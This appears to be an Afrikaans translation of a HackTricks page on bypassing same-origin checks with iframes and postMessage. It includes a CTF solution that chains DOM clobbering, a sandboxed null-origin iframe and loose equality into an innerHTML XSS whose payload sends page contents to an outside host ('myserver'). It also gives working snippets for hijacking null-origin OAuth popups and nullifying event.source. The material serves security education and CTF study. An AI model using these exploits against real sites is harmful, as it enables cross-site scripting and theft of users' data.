Bypassing SOP with Iframes - 2
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Iframes in SOP-2
In die solution for this challenge, @Strellic_ stel ’n soortgelyke metode voor as in die vorige afdeling. Kom ons kyk dit.
In hierdie challenge moet die aanvaller dit bypass:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
As hy dit doen, kan hy ’n postmessage stuur met HTML-inhoud wat sonder sanitasie (XSS) op die bladsy geskryf sal word met innerHTML.
Die manier om die eerste kontrole te omseil is deur window.calc.contentWindow op undefined te stel en e.source op null:
window.calc.contentWindowis eintlikdocument.getElementById("calc"). You can clobberdocument.getElementByIdwith<img name=getElementById />(let wel dat Sanitizer API -here- nie gekonfigureer is om teen DOM clobbering-aanvalle in sy standaardtoestand te beskerm nie).- Daarom kan jy
document.getElementById("calc")clobber met<img name=getElementById /><div id=calc></div>. Dan salwindow.calcundefinedwees. - Nou het ons nodig dat
e.sourceundefinedofnullis (want==word gebruik in plaas van===,null == undefinedisTrue). Om dit te kry is “maklik”. As jy ’n iframe skep en ’n postMessage daarvan stuur en onmiddellik die iframe verwyder, sale.originnullwees. Kyk die volgende kode
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
Om die tweede kontrole oor die token te omseil, stuur jy token met die waarde null en maak window.token se waarde undefined:
- Om
tokenin die postMessage met die waardenullte stuur is triviaal. - Die
window.tokenword verkry deur die funksiegetCookieaan te roep watdocument.cookiegebruik. Let daarop dat enige toegang totdocument.cookiein bladsye met dienullorigin ’n error veroorsaak. Dit sal daartoe lei datwindow.tokendie waardeundefinedkry.
Die finale oplossing deur @terjanq is die volgende:
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)
’n Onlangse TryHackMe-taak (“Vulnerable Codes”) demonstreer hoe OAuth-popups gekaap kan word wanneer die opener binne ’n sandboxed iframe woon wat slegs scripts en popups toelaat. Die iframe dwing beide homself en die popup in ’n "null" origin, sodat handlers wat if (origin !== window.origin) return nagaan stilweg misluk, omdat window.origin binne die popup ook "null" is. Alhoewel die blaaier steeds die werklike location.origin openbaar, ondersoek die slagoffer dit nooit, dus glip aanvaller-beheerde boodskappe deur.
const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);
Belangrike punte oor die misbruik van daardie opstelling:
- Handlers wat
originmetwindow.originbinne die popup vergelyk, kan omseil word omdat beide tot"null"evalueer, sodat vervalste boodskappe legitim lyk. - Sandboxed iframes wat
allow-popupstoeken maarallow-same-originweglate, genereer steeds popups wat aan die attacker-controlled null origin gesluit is, wat jou ’n stabiele enklave gee selfs in 2025 Chromium builds.
Source-nullification & frame-restriction bypasses
Industrie-analises rondom CVE-2024-49038 beklemtoon twee herbruikbare primitives vir hierdie bladsy: (1) jy kan steeds met bladsye kommunikeer wat X-Frame-Options: DENY stel deur dit via window.open te open en boodskappe te stuur sodra die navigasie afgehandel is, en (2) jy kan brute-force event.source == victimFrame kontroles deur die iframe onmiddellik na die stuur van ’n boodskap te verwyder, sodat die ontvanger in die handler net null sien.
const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);
Kombineer dit met die DOM-clobbering-truuk hierbo: sodra die ontvanger slegs event.source === null sien, verval enige vergelyking met window.calc.contentWindow of soortgelyks, wat jou in staat stel om weer kwaadwillige HTML sinks deur innerHTML te stuur.
Verwysings
- PostMessage Vulnerabilities: When Cross-Window Communication Goes Wrong
- THM Write-up: Vulnerable Codes
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


